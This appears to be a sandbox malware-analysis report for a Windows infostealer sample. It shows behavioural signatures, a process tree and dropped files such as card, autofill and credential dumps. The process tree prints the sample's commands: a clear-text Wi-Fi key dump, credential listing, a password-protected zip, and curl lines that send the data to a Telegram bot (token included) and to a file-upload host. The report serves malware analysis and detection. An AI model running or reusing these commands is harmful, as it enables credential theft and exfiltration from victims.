Overview

overview

7

Static

static

3

2026-10-16...lc.exe

windows10-2004-x64

7

2026-10-16...lc.exe

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 12:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-10-16_8cc369ef39ee8929813825ce7280f023_icedid_luca-stealer_njrat_stealc.exe
  • Size 1.2MB
  • Sample261017-pmesvstsfw
  • SHA256 45932f70a90ebdc37bc9d50f38f1facac7a7c98666dac7993c494e1cac691ea6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
discoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_8cc369ef39ee8929813825ce7280f023_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-16_8cc369ef39ee8929813825ce7280f023_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5960
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /query /fo csv /nh 2>nul
      2⤵
        PID:1832
      • C:\Windows\System32\nslookup.exe
        "C:\Windows\System32\nslookup.exe" example.com 2>nul
        2⤵
          PID:4580
        • C:\Windows\System32\cmdkey.exe
          "C:\Windows\System32\cmdkey.exe" /list 2>nul
          2⤵
            PID:1340
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c "netsh wlan show profiles key=clear" > "C:\Users\Admin\AppData\Local\Temp\_mpgdbd.tmp" 2>nul
            2⤵
            • Executes a command shell one-liner
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2620
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles key=clear" > "C:\Users\Admin\AppData\Local\Temp\_mpgdbd.tmp
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4872
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -s --connect-timeout 10 --max-time 15 -X POST "https://api.telegram.org/bot8932503707:AAHOgHRPSkR2JJutjq6qzzdN3HZHOvTgm_o/sendMessage" -H "Content-Type: application/x-www-form-urlencoded" --data @"C:\Users\Admin\AppData\Local\Temp\_tbb748f"
            2⤵
              PID:4996
            • C:\Windows\System32\cmdkey.exe
              "C:\Windows\System32\cmdkey.exe" /list
              2⤵
                PID:4312
              • C:\Windows\System32\ipconfig.exe
                "C:\Windows\System32\ipconfig.exe" /all
                2⤵
                • Gathers network information
                PID:248
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c assoc .html
                2⤵
                • Executes a command shell one-liner
                PID:5968
              • C:\Windows\System32\curl.exe
                "C:\Windows\System32\curl.exe" -s --connect-timeout 6 --max-time 10 "https://api.country.is/"
                2⤵
                  PID:2392
                • C:\Program Files\7-Zip\7z.exe
                  "C:\Program Files\7-Zip\7z.exe" a -tzip -pcobra -ssw -mx1 -bso0 -bsp0 "C:\Users\Admin\AppData\Local\Temp\backup_240748875.zip" "C:\Users\Admin\AppData\Local\Temp\px_206b23\*"
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3488
                • C:\Windows\System32\curl.exe
                  "C:\Windows\System32\curl.exe" -s -F "file=@C:\Users\Admin\AppData\Local\Temp\backup_240748875.zip" "https://tmpfiles.org/api/v1/upload" -F "expire=172800" --connect-timeout 20 --max-time 240
                  2⤵
                    PID:3732
                  • C:\Windows\System32\curl.exe
                    "C:\Windows\System32\curl.exe" -s --connect-timeout 10 --max-time 25 -X POST "https://api.telegram.org/bot8932503707:AAHOgHRPSkR2JJutjq6qzzdN3HZHOvTgm_o/sendMessage" -H "Content-Type: application/x-www-form-urlencoded" --data @"C:\Users\Admin\AppData\Local\Temp\_tb41e19"
                    2⤵
                      PID:3396

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        _tb41e19
                        • Path C:\Users\Admin\AppData\Local\Temp\_tb41e19
                        • Size 768B
                        • SHA256 955610eb8b110162d6aa3ca0b91f328ab76c46a3df64d79f2b142b2cd3dd98cd
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        _tbb748f
                        • Path C:\Users\Admin\AppData\Local\Temp\_tbb748f
                        • Size 475B
                        • SHA256 d2341574e43e6eb123ef09a8479f65bb4783ed2570bc729f70862ac63483afa7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        backup_240748875.zip
                        • Path C:\Users\Admin\AppData\Local\Temp\backup_240748875.zip
                        • Size 5.5MB
                        • SHA256 a5bfd6e472acb46d04265a8fd412e18c50e108fcb225bf5d043be65ebe5035d2
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        INSTRUCTIONS.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\px_206b23\cs_f8hif056\INSTRUCTIONS.txt
                        • Size 2KB
                        • SHA256 17b2a293546de22d751547cf7deb5c27f8a937a9021f1791b39311c902cd6df3
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        MANIFEST.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\px_206b23\cs_f8hif056\MANIFEST.txt
                        • Size 1KB
                        • SHA256 df7a696e1fcdf5dffce58eff98738ab86bde651a25da689fdfbd7732d9e756d7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        autofill.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\autofill.txt
                        • Size 8KB
                        • SHA256 1f2e313ed149cabebb46c2efcc04b1ce0dfa03035be4d4a013026897e8a21a4a
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        cards.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\cards.txt
                        • Size 8KB
                        • SHA256 214a4e7eeae773c40235d372041ad41249a7eb6fc810cffce03662230b372fd4
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        rdp_cmdkey.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\configs\rdp_cmdkey.txt
                        • Size 55B
                        • SHA256 f8213a33715f8b8fd1a24bb366d5287c5bdd65314c85ce1fc12965598febb554
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        tv_cm.dat
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\configs\tv_cm.dat
                        • Size 309B
                        • SHA256 a712a196245c1cb60b6d68509c22ae7443bfbe171c2515c7a3213e609cec9f3d
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        extensions.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\extensions.txt
                        • Size 88B
                        • SHA256 621731439cc44ad3652fa66d17d4f4d213351706e940ad91eccccb2961b0322c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        history.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\history.txt
                        • Size 2KB
                        • SHA256 473f38d3effb8210800f13a280ada3217a11d1b05d723641984021a61bd9a975
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        screenshot.png
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\screenshot.png
                        • Size 546KB
                        • SHA256 8e5181f1488862b4b7f773b38a6aff328e88b6eec290e631d6f5e98358c2f138
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        software.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\software.txt
                        • Size 3KB
                        • SHA256 0f2cbd301661a8bca047f4e6a3d9e5e636493b0b9873a6634074810f0ab8145e
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        system.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\sx_61d87645\system.txt
                        • Size 487B
                        • SHA256 42ee1791eb827d797f709df269b19aca66fba160556e8c27dd7486731fc41096
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download